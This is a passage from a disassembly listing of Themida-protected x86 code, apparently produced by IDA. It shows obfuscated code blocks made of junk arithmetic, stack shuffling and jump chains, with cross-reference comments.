; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_59C972
; ---------------------------------------------------------------------------
loc_5963CE: ; CODE XREF: Themida_:005A3CEBj
mov esi, [esp]
add esp, 4
shr edx, 7
push ebx
mov ebx, 70D131CDh
jmp loc_59A86A
; ---------------------------------------------------------------------------
loc_5963E2: ; CODE XREF: Themida_:005A426Dj
add esp, 4
and eax, edi
mov edi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
push dword ptr [edi+1Ch]
mov ecx, [esp]
push 32F5h
mov [esp], edx
jmp loc_598A56
; ---------------------------------------------------------------------------
loc_596419: ; CODE XREF: Themida_:00598B7Aj
mov ecx, [esp]
jmp loc_597182
; ---------------------------------------------------------------------------
loc_596421: ; CODE XREF: Themida_:005A98C9j
pop esi
shl esi, 3
sub esi, 8DA38786h
sub eax, esi
pop esi
push dword ptr [esp]
pop esi
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 794209B7h
sub eax, esi
jmp loc_597877
; ---------------------------------------------------------------------------
loc_596447: ; CODE XREF: Themida_:005A5458j
sub bl, 1
not bl
or bl, 0D4h
push ecx
mov ch, 0E2h
neg ch
jmp loc_5AA3D1
; ---------------------------------------------------------------------------
loc_596459: ; CODE XREF: Themida_:005A23C0j
add eax, 4
xchg eax, [esp]
jmp loc_5A7AA9
; ---------------------------------------------------------------------------
loc_596464: ; CODE XREF: Themida_:0059E6D3j
add ebp, 0CE4CBAEEh
jmp loc_5A0BA6
; ---------------------------------------------------------------------------
loc_59646F: ; CODE XREF: Themida_:0059B88Fj
sub ebp, 6CBC06EDh
sub ebp, 0F6DE5843h
sub eax, 358B72FDh
sub eax, ebp
add eax, 358B72FDh
pop ebp
inc eax
push 1D4Ah
mov [esp], edi
push esi
mov esi, 774C4976h
jmp loc_599E3D
; ---------------------------------------------------------------------------
loc_59649C: ; CODE XREF: Themida_:0059F57Ej
or edx, eax
shl edx, 1
push 183Bh
jmp loc_596722
; ---------------------------------------------------------------------------
loc_5964AA: ; CODE XREF: Themida_:005A449Ej
sub ecx, 41BBAD4Bh
sub edi, 21797DB9h
add edi, ecx
add edi, 21797DB9h
jmp loc_5994FB
; ---------------------------------------------------------------------------
loc_5964C3: ; CODE XREF: Themida_:0059C658j
add esp, 4
push ebx
pop edi
mov ebx, [esp]
add esp, 4
xor edi, ebp
xor ebp, edi
xor edi, ebp
inc ebp
jmp loc_59A887
; ---------------------------------------------------------------------------
loc_5964DD: ; CODE XREF: Themida_:005A35ECj
push ecx
pop esi
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5A7AC2
; ---------------------------------------------------------------------------
loc_5964EB: ; CODE XREF: Themida_:005A530Ej
xor ecx, edi
jmp loc_5963AE
; ---------------------------------------------------------------------------
loc_5964F2: ; CODE XREF: Themida_:0059917Bj
pop esi
pop dword ptr [esp]
pop esp
jmp loc_59740E
; ---------------------------------------------------------------------------
loc_5964FC: ; CODE XREF: Themida_:005A2481j
sub esp, 4
mov [esp], edi
push ebx
mov ebx, 4DB27E05h
mov edi, 4DB27E09h
add edi, 243E02E0h
sub edi, ebx
jmp loc_5A5FA8
; ---------------------------------------------------------------------------
loc_59651A: ; CODE XREF: Themida_:005A5A35j
mov ecx, [esp]
add esp, 4
mov eax, [esp]
push edx
push 575Ah
mov [esp], esp
push 2B90h
mov [esp], edi
mov edi, 4
add [esp+4], edi
pop edi
pop edx
push ebp
mov ebp, 75483BF7h
push edi
mov edi, 0
sub edi, ebp
xchg edi, ebp
pop edi
xor ebp, 8AB7C40Dh
add edx, ebp
pop ebp
jmp loc_59B793
; ---------------------------------------------------------------------------
loc_596561: ; CODE XREF: Themida_:005A21BFj
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
shl dword ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_596577: ; CODE XREF: Themida_:0059C1D1j
push edx
mov edx, 270F46B0h
shr edx, 4
shl edx, 8
add edx, 196D2F96h
add edx, 0F3F7C8ECh
sub ebx, edx
jmp loc_5A457E
; ---------------------------------------------------------------------------
loc_596596: ; CODE XREF: Themida_:0059BA82j
mov eax, 4
sub ecx, eax
pop eax
jmp loc_5A217E
; ---------------------------------------------------------------------------
loc_5965A3: ; CODE XREF: Themida_:0059D588j
xchg eax, esi
push edi
mov edi, 1C134576h
and edi, 57936EB0h
push ecx
mov ecx, 5AA46203h
jmp loc_5A549D
; ---------------------------------------------------------------------------
loc_5965BB: ; CODE XREF: Themida_:005A9A16j
sub edi, esi
push edx
mov edx, 24953BAEh
jmp loc_5A95AC
; ---------------------------------------------------------------------------
loc_5965C8: ; CODE XREF: Themida_:005A45CAj
sub bl, 0CCh
add bl, 0Ah
push dword ptr [esp]
jmp loc_596AC2
; ---------------------------------------------------------------------------
loc_5965D6: ; CODE XREF: Themida_:0059EEFBj
sub dword ptr [esp], 36F7062h
pop ebp
push 6B82h
jmp loc_59A7F3
; ---------------------------------------------------------------------------
loc_5965E8: ; CODE XREF: Themida_:0059ECD7j
mov edi, esp
add edi, 4
jmp loc_59664E
; ---------------------------------------------------------------------------
loc_5965F5: ; CODE XREF: Themida_:0059F534j
mov [esp], esi
jmp loc_5A4F39
; ---------------------------------------------------------------------------
loc_5965FD: ; CODE XREF: Themida_:0059AC2Aj
add ecx, edx
pop edx
xchg ecx, [esp]
jmp loc_596BA3
; ---------------------------------------------------------------------------
loc_596608: ; CODE XREF: Themida_:005A8EAFj
pop ecx
push 6E62h
mov [esp], edx
push esi
mov esi, 0BEE76E0h
mov edx, 6F676D0Fh
dec edx
add edx, 9C8709D6h
sub edx, 4EBD3388h
jmp loc_5A736F
; ---------------------------------------------------------------------------
loc_59662E: ; CODE XREF: Themida_:005AA89Fj
push esp
mov edi, [esp]
push 63F0h
mov [esp], ebx
push 4FF6h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A9387
; ---------------------------------------------------------------------------
loc_59664E: ; CODE XREF: Themida_:005965F0j
push ebx
jmp loc_59FAC9
; ---------------------------------------------------------------------------
loc_596654: ; CODE XREF: Themida_:005A3F6Cj
shl bl, 8
push eax
mov ah, 6Eh
sub bl, ah
pop eax
push ecx
mov ch, 74h
jmp loc_5A0A72
; ---------------------------------------------------------------------------
loc_596665: ; CODE XREF: Themida_:005A53C4j
mov ebx, [esp]
add esp, 4
push 6A2Bh
mov [esp], ebp
mov ebp, 646854ECh
push edi
mov edi, 56154DFh
add edi, 663828E9h
jmp loc_5AB311
; ---------------------------------------------------------------------------
loc_59668C: ; CODE XREF: Themida_:00596835j
add esp, 4
jmp loc_5A68F8
; ---------------------------------------------------------------------------
loc_596697: ; CODE XREF: Themida_:005A2C09j
pop esp
jmp loc_5A67F1
; ---------------------------------------------------------------------------
loc_59669D: ; CODE XREF: Themida_:0059D2CCj
mov ecx, [esp]
add esp, 4
jmp loc_59F474
; ---------------------------------------------------------------------------
loc_5966A8: ; CODE XREF: Themida_:005AA753j
xor edi, 0E916AE7Eh
mov ebp, edi
pop edi
push eax
mov eax, 24FC789Eh
sub eax, 2EB70028h
sub esp, 4
mov [esp], ebx
mov ebx, 29DB313Eh
sub ebx, 759A14Ah
add eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
or ebp, eax
mov eax, [esp]
jmp loc_5A17EF
; ---------------------------------------------------------------------------
loc_5966E6: ; CODE XREF: Themida_:005A05CCj
add al, ch
pop cx
add al, 0E1h
add bh, 4
add bh, al
jmp loc_596C71
; ---------------------------------------------------------------------------
loc_5966F6: ; CODE XREF: Themida_:0059C08Dj
sub esp, 4
mov [esp], edi
sub esp, 4
mov [esp], esp
jmp loc_59F266
; ---------------------------------------------------------------------------
loc_59670D: ; CODE XREF: Themida_:005A1711j
add esp, 4
jmp loc_5A7323
; ---------------------------------------------------------------------------
loc_596718: ; CODE XREF: Themida_:0059CE5Dj
push edi
mov di, 7EB5h
jmp loc_59D098
; ---------------------------------------------------------------------------
loc_596722: ; CODE XREF: Themida_:005964A5j
mov [esp], eax
mov eax, 1
jmp loc_597496
; ---------------------------------------------------------------------------
loc_59672F: ; CODE XREF: Themida_:00596F3Bj
pop ebp
and ecx, ebx
push dword ptr [esp]
pop ebx
push 1DB5h
jmp loc_5A9926
; ---------------------------------------------------------------------------
loc_596740: ; CODE XREF: Themida_:005982AAj
push 31DC1F88h
pop ebx
sub [esp+4], ebx
pop ebx
pop ebx
add ebx, 31DC1F88h
pop edx
mov ecx, 2B505699h
sub esp, 4
mov [esp], edx
jmp loc_59B6D9
; ---------------------------------------------------------------------------
loc_596763: ; CODE XREF: Themida_:005A9059j
mov edi, esp
push edx
mov edx, 4
add edi, edx
pop edx
sub edi, 2
xchg edi, [esp]
pop esp
mov [esp], bp
push eax
mov ax, 513h
push ebx
mov bx, 2EE7h
push ax
mov ax, 54DFh
sub bx, ax
pop ax
not bx
jmp loc_5A3B0E
; ---------------------------------------------------------------------------
loc_596799: ; CODE XREF: Themida_:005A121Bj
mov eax, 25AA5132h
shl eax, 8
not eax
jmp loc_5A75F8
; ---------------------------------------------------------------------------
loc_5967A8: ; CODE XREF: Themida_:005A976Dj
and ecx, 4DEE06A8h
push eax
mov eax, 79204A3Fh
xor eax, 31E44C3Bh
sub ecx, eax
pop eax
add ebp, ecx
jmp loc_5A4385
; ---------------------------------------------------------------------------
loc_5967C3: ; CODE XREF: Themida_:005A2583j
xor bh, 0F5h
mov dl, bh
pop ebx
sub dl, 0F7h
jmp loc_5AAE0F
; ---------------------------------------------------------------------------
loc_5967D1: ; CODE XREF: Themida_:005A01C4j
pop ecx
sub ebx, 5C56185Ah
add ebx, esi
add ebx, 5C56185Ah
pop esi
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_5A8B9C
; ---------------------------------------------------------------------------
loc_5967F2: ; CODE XREF: Themida_:005A6DD0j
mov eax, 6CEE5C4Fh
sub [esp+8], eax
jmp loc_59EAD1
; ---------------------------------------------------------------------------
loc_596800: ; CODE XREF: Themida_:005A31EFj
push esi
mov esi, esp
add esi, 4
jmp loc_5A3507
; ---------------------------------------------------------------------------
loc_59680E: ; CODE XREF: Themida_:005AAF36j
pop dword ptr [esp]
pop esp
push ebp
mov ebp, 4
push edi
jmp loc_596AB5
; ---------------------------------------------------------------------------
loc_59681E: ; CODE XREF: Themida_:0059E1A3j
mov edx, 0DD8B0318h
sub ebp, edx
push dword ptr [esp]
pop edx
add esp, 4
mov edx, ebp
push dword ptr [esp]
pop ebp
jmp loc_59668C
; ---------------------------------------------------------------------------
loc_59683A: ; CODE XREF: Themida_:0059E49Fj
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_59EBEC
; ---------------------------------------------------------------------------
loc_59684B: ; CODE XREF: Themida_:005AAF60j
add esp, 4
add edi, 75DB2A4Fh
not edi
add edi, 0FFFFFFFFh
add edi, 0A8C494D9h
xor eax, edi
mov edi, [esp]
add esp, 4
xor ebx, eax
movzx ax, byte ptr [eax]
sub esp, 4
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ecx, [esp]
add esp, 4
push edx
jmp loc_5A7155
; ---------------------------------------------------------------------------
loc_59688F: ; CODE XREF: Themida_:005A0F25j
mov al, cl
pop ecx
mov dl, 4Bh
sub dl, al
jmp loc_5A8391
; ---------------------------------------------------------------------------
loc_59689B: ; CODE XREF: Themida_:005AA1AEj
mov [esp], esi
mov esi, 1Ch
push 3A6Ch
mov [esp], ebp
mov ebp, esi
sub esp, 4
mov [esp], ebp
pop edx
pop ebp
push dword ptr [esp]
pop esi
jmp loc_5A6DD5
; ---------------------------------------------------------------------------
loc_5968C1: ; CODE XREF: Themida_:0059A78Aj
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5968D7: ; CODE XREF: Themida_:00596028j
mov ebx, esp
push 2F74h
mov [esp], ebp
mov ebp, 4
jmp loc_5AA335
; ---------------------------------------------------------------------------
loc_5968EB: ; CODE XREF: Themida_:005A2CC2j
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_59FC12
; ---------------------------------------------------------------------------
loc_5968FD: ; CODE XREF: Themida_:00598D2Ej
push eax
mov al, dl
mov bl, al
pop eax
push ebx
push edx
mov dh, cl
mov bl, dh
pop edx
mov dl, bl
jmp loc_5A1243
; ---------------------------------------------------------------------------
loc_596911: ; CODE XREF: Themida_:00597E86j
xor ecx, 3AA06DFh
jmp loc_59A46B
; ---------------------------------------------------------------------------
loc_59691C: ; CODE XREF: Themida_:005A9108j
pop ebp
push ecx
mov ecx, 19460211h
xor ecx, 37971479h
jmp loc_5A1F9C
; ---------------------------------------------------------------------------
loc_59692E: ; CODE XREF: Themida_:005A2C8Ej
xchg edi, [esp]
pop esp
jmp loc_597A32
; ---------------------------------------------------------------------------
loc_596937: ; CODE XREF: Themida_:005A435Cj
add ebp, 4
xchg ebp, [esp]
pop esp
push esi
mov esi, 4A7D694Ch
jmp loc_59D57F
; ---------------------------------------------------------------------------
loc_596949: ; CODE XREF: Themida_:005AA8AAj
add eax, 6DE35C5Eh
sub eax, esi
sub eax, 6DE35C5Eh
pop esi
sub eax, ebp
push esi
mov esi, 2C0C25C1h
or esi, 76D1113Ch
not esi
jmp loc_59B40E
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
mov [esp], ebx
mov ebx, 32822570h
push eax
mov eax, 2E0430Eh
jmp loc_5A211A
; ---------------------------------------------------------------------------
loc_596985: ; CODE XREF: Themida_:005A76F7j
push 2
mov ebx, [esp]
add esp, 4
jmp loc_59DD63
; ---------------------------------------------------------------------------
loc_596995: ; CODE XREF: Themida_:005A02FFj
mov ebp, esi
pop esi
push edx
jmp loc_5A8377
; ---------------------------------------------------------------------------
loc_59699E: ; CODE XREF: Themida_:005A658Dj
sub ebx, eax
pop eax
jmp loc_59E705
; ---------------------------------------------------------------------------
loc_5969A6: ; CODE XREF: Themida_:005A3EF8j
mov [esp], ebx
jmp loc_599EED
; ---------------------------------------------------------------------------
loc_5969AE: ; CODE XREF: Themida_:005A0E9Cj
xor edx, 0BB5081CEh
jmp loc_598538
; ---------------------------------------------------------------------------
loc_5969B9: ; CODE XREF: Themida_:005AAC6Aj
and ecx, 32670D96h
sub ecx, 10040480h
add ebx, 0A1B2DEEh
add ebx, 481969A1h
add ebx, ecx
push esi
push eax
mov eax, 2C3B1523h
shr eax, 3
dec eax
shl eax, 4
neg eax
xor eax, 63722EB2h
sub eax, 7474EEDBh
jmp loc_5A0FD3
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59C93C
; ---------------------------------------------------------------------------
loc_5969FD: ; CODE XREF: Themida_:005A181Aj
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], ebp
push 5ADCh
mov [esp], esi
push eax
mov eax, 160076B5h
mov esi, eax
jmp loc_5A1D35
; ---------------------------------------------------------------------------
loc_596A34: ; CODE XREF: Themida_:005AAFC8j
mov [esp], edx
push eax
push esi
jmp loc_5AB46F
; ---------------------------------------------------------------------------
loc_596A3E: ; CODE XREF: Themida_:005A8F55j
sub ebp, 0FFFFFFFFh
jmp loc_59E6E8
; ---------------------------------------------------------------------------
loc_596A46: ; CODE XREF: Themida_:00598BBEj
and edx, 0E0540F3h
jmp loc_59A6CE
; ---------------------------------------------------------------------------
loc_596A51: ; CODE XREF: Themida_:0059BBEDj
or dh, 71h
add dh, 32h
xor al, dh
pop dx
push cx
jmp loc_5A36DC
; ---------------------------------------------------------------------------
loc_596A62: ; CODE XREF: Themida_:0059DA51j
push 3A84399Dh
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_5A66B8
; ---------------------------------------------------------------------------
loc_596A81: ; CODE XREF: Themida_:0059D6ECj
pop ebx
add bl, cl
mov cx, [esp]
add esp, 2
sub bl, al
sub bl, 0F7h
sub esp, 4
mov [esp], edx
push ecx
mov ch, 0C0h
jmp loc_596209
; ---------------------------------------------------------------------------
loc_596AA1: ; CODE XREF: Themida_:005AB4D8j
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_59B56A
; ---------------------------------------------------------------------------
loc_596AB5: ; CODE XREF: Themida_:00596819j
mov edi, 15D4110Eh
sub edx, edi
pop edi
jmp loc_5A2C4C
; ---------------------------------------------------------------------------
loc_596AC2: ; CODE XREF: Themida_:005965D1j
pop eax
add esp, 4
xor al, bl
mov ebx, [esp]
add esp, 4
xor bl, al
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_596AE1: ; CODE XREF: Themida_:005A24A9j
push eax
mov eax, 5B2B4678h
push esi
mov esi, eax
mov ecx, esi
pop esi
pop eax
jmp loc_59B0DE
; ---------------------------------------------------------------------------
loc_596AF3: ; CODE XREF: Themida_:0059A636j
push eax
mov eax, esp
jmp loc_59CE8F
; ---------------------------------------------------------------------------
loc_596AFB: ; CODE XREF: Themida_:0059D355j
mov ebx, 4
jmp loc_59D984
; ---------------------------------------------------------------------------
loc_596B05: ; CODE XREF: Themida_:005A69D2j
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
mov esi, 123B2068h
add [esp+4], esi
pop esi
jmp loc_597216
; ---------------------------------------------------------------------------
loc_596B25: ; CODE XREF: Themida_:005A841Ej
mov esp, [esp]
jmp loc_5A21B7
; ---------------------------------------------------------------------------
loc_596B2D: ; CODE XREF: Themida_:005A8372j
mov dl, 7Bh
sub dl, bl
pop ebx
dec dl
push 13E8h
mov [esp], eax
mov ah, 10h
dec ah
sub ah, 5Ch
xor dl, ah
jmp loc_5993AE
; ---------------------------------------------------------------------------
loc_596B4A: ; CODE XREF: Themida_:00596F7Aj
mov edx, ebp
mov ebp, [esp]
add esp, 4
add [esp+4], edx
pop edx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
sub eax, 70753E6Ch
pop ebp
push 0FBDh
jmp loc_59A7A2
; ---------------------------------------------------------------------------
loc_596B7C: ; CODE XREF: Themida_:00597118j
pop ecx
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5AA16D
; ---------------------------------------------------------------------------
loc_596B94: ; CODE XREF: Themida_:0059C7C9j
mov edx, esp
jmp loc_5A260E
; ---------------------------------------------------------------------------
loc_596B9B: ; CODE XREF: Themida_:005A571Aj
sub al, bl
push ebx
jmp loc_59C047
; ---------------------------------------------------------------------------
loc_596BA3: ; CODE XREF: Themida_:00596603j
pop esp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push eax
jmp loc_5AA545
; ---------------------------------------------------------------------------
loc_596BB6: ; CODE XREF: Themida_:0059CE29j
push esi
jmp loc_5A9B09
; ---------------------------------------------------------------------------
loc_596BBC: ; CODE XREF: Themida_:0059BADBj
sub bl, ch
pop cx
sub bl, 5Ch
add bl, 1Eh
add bl, al
push eax
mov ah, 26h
inc ah
jmp loc_59952D
; ---------------------------------------------------------------------------
loc_596BD2: ; CODE XREF: Themida_:0059E059j
pop esp
jmp loc_597450
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A3254
; ---------------------------------------------------------------------------
loc_596BF1: ; CODE XREF: Themida_:005AA238j
pop edi
neg edi
sub edi, 69D64644h
dec edi
add edi, 0E7B87111h
jmp loc_5A1AB3
; ---------------------------------------------------------------------------
loc_596C06: ; CODE XREF: Themida_:005A224Bj
mov esi, [esp]
jmp loc_59FD2E
; ---------------------------------------------------------------------------
loc_596C0E: ; CODE XREF: Themida_:005A2044j
inc edx
push ebx
mov ebx, 25F208A8h
jmp loc_5A50C7
; ---------------------------------------------------------------------------
loc_596C1A: ; CODE XREF: Themida_:0059CE3Aj
mov esi, [esp]
jmp loc_5A89D5
; ---------------------------------------------------------------------------
loc_596C22: ; CODE XREF: Themida_:005960E4j
pop eax
add eax, 4
push esi
jmp loc_5A1CA5
; ---------------------------------------------------------------------------
loc_596C2E: ; CODE XREF: Themida_:0059C1A7j
pop ecx
jmp loc_5A5DBC
; ---------------------------------------------------------------------------
loc_596C34: ; CODE XREF: Themida_:005A3F54j
pop ebp
push esi
jmp loc_59EA86
; ---------------------------------------------------------------------------
loc_596C3B: ; CODE XREF: Themida_:005A01A4j
pop esp
and eax, ebx
mov ebx, [esp]
add esp, 4
or edx, eax
shl edx, 1
push 1B7Ah
mov [esp], ebx
push esp
jmp loc_59D58D
; ---------------------------------------------------------------------------
loc_596C56: ; CODE XREF: Themida_:0059A51Bj
push edx
mov edx, 7FE16F61h
jmp loc_59F1A0
; ---------------------------------------------------------------------------
loc_596C61: ; CODE XREF: Themida_:005A53A0j
mov [esp], edx
mov edx, 66D46B0h
or edi, edx
pop edx
jmp loc_5A6B11
; ---------------------------------------------------------------------------
loc_596C71: ; CODE XREF: Themida_:005966F1j
sub esp, 4
mov [esp], eax
mov ah, 75h
neg ah
jmp loc_59EF00
; ---------------------------------------------------------------------------
loc_596C83: ; CODE XREF: Themida_:005A80EDj
mov ebx, 4
push esi
jmp loc_59B3FA
; ---------------------------------------------------------------------------
loc_596C8E: ; CODE XREF: Themida_:005A9C33j
sub bl, 0E9h
sub bl, al
jmp loc_5A7B5D
; ---------------------------------------------------------------------------
loc_596C98: ; CODE XREF: Themida_:00599744j
push ebp
not dword ptr [esp]
jmp loc_598522
; ---------------------------------------------------------------------------
loc_596CA1: ; CODE XREF: Themida_:005A8672j
xor ebp, 4E487662h
jmp loc_5A738F
; ---------------------------------------------------------------------------
loc_596CAC: ; CODE XREF: Themida_:005AB411j
add ebx, ecx
pop ecx
jmp loc_59BD9C
; ---------------------------------------------------------------------------
loc_596CB4: ; CODE XREF: Themida_:005AAAF7j
mov esi, edi
pop edi
jmp loc_59F8DA
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
jmp loc_5A9107
; ---------------------------------------------------------------------------
loc_596CC6: ; CODE XREF: Themida_:0059C411j
mov ebx, 0B75E462Ah
sub ebx, 35EF2AE5h
sub ebx, ebp
jmp loc_59C64F
; ---------------------------------------------------------------------------
loc_596CD8: ; CODE XREF: Themida_:005A92F5j
xchg eax, [esp]
pop esp
push 6D6Ah
jmp loc_598FA0
; ---------------------------------------------------------------------------
loc_596CE6: ; CODE XREF: Themida_:005A7B38j
push dword ptr [esp]
pop ebp
add esp, 4
inc ebp
jmp loc_5A944E
; ---------------------------------------------------------------------------
loc_596CF6: ; CODE XREF: Themida_:005A6F61j
add esp, 4
add eax, edi
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_59AF8B
; ---------------------------------------------------------------------------
loc_596D18: ; CODE XREF: Themida_:005A0521j
add edi, 1C7FE93Ah
xor ebp, edi
pop edi
add ebx, ebp
mov ebp, [esp]
add esp, 4
push 0E6Eh
mov [esp], eax
push 2
pop eax
add ebx, 45865808h
add ebx, 305A7A85h
add ebx, eax
sub ebx, 305A7A85h
sub ebx, 45865808h
jmp loc_5A9D06
; ---------------------------------------------------------------------------
loc_596D56: ; CODE XREF: Themida_:00597E7Bj
mov ebp, 30115C99h
add ebp, 17D22202h
neg ebp
jmp loc_5A14AB
; ---------------------------------------------------------------------------
loc_596D68: ; CODE XREF: Themida_:005A2C3Fj
sub ecx, 2B2F4797h
add ecx, edx
push 1653h
mov [esp], eax
push 4600FE5h
pop eax
xor eax, 2F4F4872h
sub ecx, 59451F7Eh
add ecx, eax
jmp loc_5A09DA
; ---------------------------------------------------------------------------
loc_596D90: ; CODE XREF: Themida_:005A4AF0j
mov ebp, 1F5F55B3h
push ebp
mov ebp, 534D4A72h
sub ecx, ebp
pop ebp
sub ecx, ebp
add ecx, 534D4A72h
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push edx
mov edx, esp
jmp loc_59F6F7
; ---------------------------------------------------------------------------
loc_596DBA: ; CODE XREF: Themida_:0059B6FEj
mov ebx, [esp]
add esp, 4
jmp loc_5A0C7D
; ---------------------------------------------------------------------------
loc_596DC5: ; CODE XREF: Themida_:005A4C76j
push ecx
mov ecx, 2671111Dh
neg ecx
and ecx, 579D2C30h
push ebx
mov ebx, 49BD2078h
not ebx
add ebx, 9B494C95h
sub ecx, 28DE5BC4h
sub ecx, ebx
add ecx, 28DE5BC4h
pop ebx
add esi, ecx
mov ecx, [esp]
add esp, 4
push esi
jmp loc_59FDF4
; ---------------------------------------------------------------------------
loc_596DFE: ; CODE XREF: Themida_:0059DBE1j
mov [esp], ax
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_596E07: ; CODE XREF: Themida_:0059D915j
sub ebp, 0E66FE8A6h
add edx, ebp
jmp loc_59B093
; ---------------------------------------------------------------------------
loc_596E14: ; CODE XREF: Themida_:00596EF6j
shr edx, 1
cmp eax, edx
jz loc_5960EA
push ecx
mov ecx, esp
jmp loc_599A90
; ---------------------------------------------------------------------------
loc_596E26: ; CODE XREF: Themida_:0059DE30j
mov ebx, 26BA0A1Bh
and ebx, 2A5257EBh
inc ebx
xor ebx, 66F9599Ah
shl ebx, 2
xor ebx, 6CB32665h
and edi, ebx
jmp loc_5AA4A6
; ---------------------------------------------------------------------------
loc_596E48: ; CODE XREF: Themida_:0059604Ej
sub ebp, ebx
mov ebx, [esp]
jmp loc_59F732
; ---------------------------------------------------------------------------
loc_596E52: ; CODE XREF: Themida_:005A2A44j
mov ecx, 132A1E2Bh
mov edx, 132A1E6Bh
xor edx, ecx
pop ecx
sub edx, 46176DE4h
jmp loc_59E08B
; ---------------------------------------------------------------------------
loc_596E6A: ; CODE XREF: Themida_:0059794Ej
add eax, edi
mov edi, [esp]
add esp, 4
mov ecx, [esp]
jmp loc_59CCE2
; ---------------------------------------------------------------------------
loc_596E7A: ; CODE XREF: Themida_:005A445Dj
add eax, edi
pop edi
add eax, esi
sub eax, 32987352h
push dword ptr [esp]
pop esi
add esp, 4
push eax
mov eax, 63123022h
add ebx, 6D660C64h
sub ebx, eax
sub ebx, 6D660C64h
pop eax
add ebx, eax
push edx
sub esp, 4
jmp loc_5A5180
; ---------------------------------------------------------------------------
loc_596EAE: ; CODE XREF: Themida_:0059A091j
sub esp, 4
jmp loc_5A1742
; ---------------------------------------------------------------------------
loc_596EB9: ; CODE XREF: Themida_:0059AC98j
push dword ptr [esp+4]
jmp loc_5A633E
; ---------------------------------------------------------------------------
loc_596EC2: ; CODE XREF: Themida_:0059B9CDj
mov edi, esi
jmp loc_597923
; ---------------------------------------------------------------------------
loc_596EC9: ; CODE XREF: Themida_:0059F298j
mov ebx, 4
add ecx, ebx
pop ebx
jmp loc_5AAD30
; ---------------------------------------------------------------------------
loc_596ED6: ; CODE XREF: Themida_:005A1879j
mov [esp], ebx
push edx
mov dh, 73h
jmp loc_5A836F
; ---------------------------------------------------------------------------
loc_596EE1: ; CODE XREF: Themida_:00598F19j
bts [esp], ax
pushf
jmp loc_5977F9
; ---------------------------------------------------------------------------
loc_596EEC: ; CODE XREF: Themida_:0059E695j
pop edx
add esi, ebx
jmp loc_599827
; ---------------------------------------------------------------------------
loc_596EF4: ; CODE XREF: Themida_:005A99FAj
or ebx, ebx
jnz loc_596E14
push 2EFEh
mov [esp], ebx
mov ebx, edx
push ecx
jmp loc_5A8C52
; ---------------------------------------------------------------------------
loc_596F0C: ; CODE XREF: Themida_:005A9C13j
push 1D10h
push 6979h
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
jmp loc_5A7B65
; ---------------------------------------------------------------------------
loc_596F25: ; CODE XREF: Themida_:005A4C2Cj
pop esp
push dword ptr [esp]
jmp loc_59FD4A
; ---------------------------------------------------------------------------
loc_596F2E: ; CODE XREF: Themida_:005A943Cj
mov eax, esp
jmp loc_59E645
; ---------------------------------------------------------------------------
loc_596F35: ; CODE XREF: Themida_:005976F6j
add esp, 4
jmp loc_59672F
; ---------------------------------------------------------------------------
loc_596F40: ; CODE XREF: Themida_:005AA0E8j
mov eax, edi
pop edi
add edi, eax
pop eax
push 570Bh
mov [esp], ebx
mov ebx, 23672BDFh
sub ebx, 0FFFFFFFFh
not ebx
sub ebx, 0DC98D41Bh
sub edi, ebx
pop ebx
xchg edi, [esp]
pop esp
mov [esp], edx
push ebp
push 13C93EAEh
mov ebp, [esp]
add esp, 4
xor ebp, 63BC00C2h
jmp loc_596B4A
; ---------------------------------------------------------------------------
loc_596F7F: ; CODE XREF: Themida_:005A370Cj
xchg edi, [esp]
jmp loc_5A2C7D
; ---------------------------------------------------------------------------
loc_596F87: ; CODE XREF: Themida_:005A6A40j
add esp, 4
push edi
jmp loc_5A6E08
; ---------------------------------------------------------------------------
loc_596F93: ; CODE XREF: Themida_:0059EA5Aj
xchg ebp, ebx
and ebx, 1AFB2EAEh
jmp loc_597A85
; ---------------------------------------------------------------------------
loc_596FA0: ; CODE XREF: Themida_:005A3893j
xor dl, 6Ch
sub dl, 0D2h
sub ah, dl
jmp loc_5A0896
; ---------------------------------------------------------------------------
loc_596FAD: ; CODE XREF: Themida_:005A68A6j
pop esi
not edi
add edi, 0A3257A2Eh
push ebp
jmp loc_59A054
; ---------------------------------------------------------------------------
loc_596FBC: ; CODE XREF: Themida_:0059CC6Cj
mov eax, [esp]
jmp loc_5A9E35
; ---------------------------------------------------------------------------
loc_596FC4: ; CODE XREF: Themida_:005A10EBj
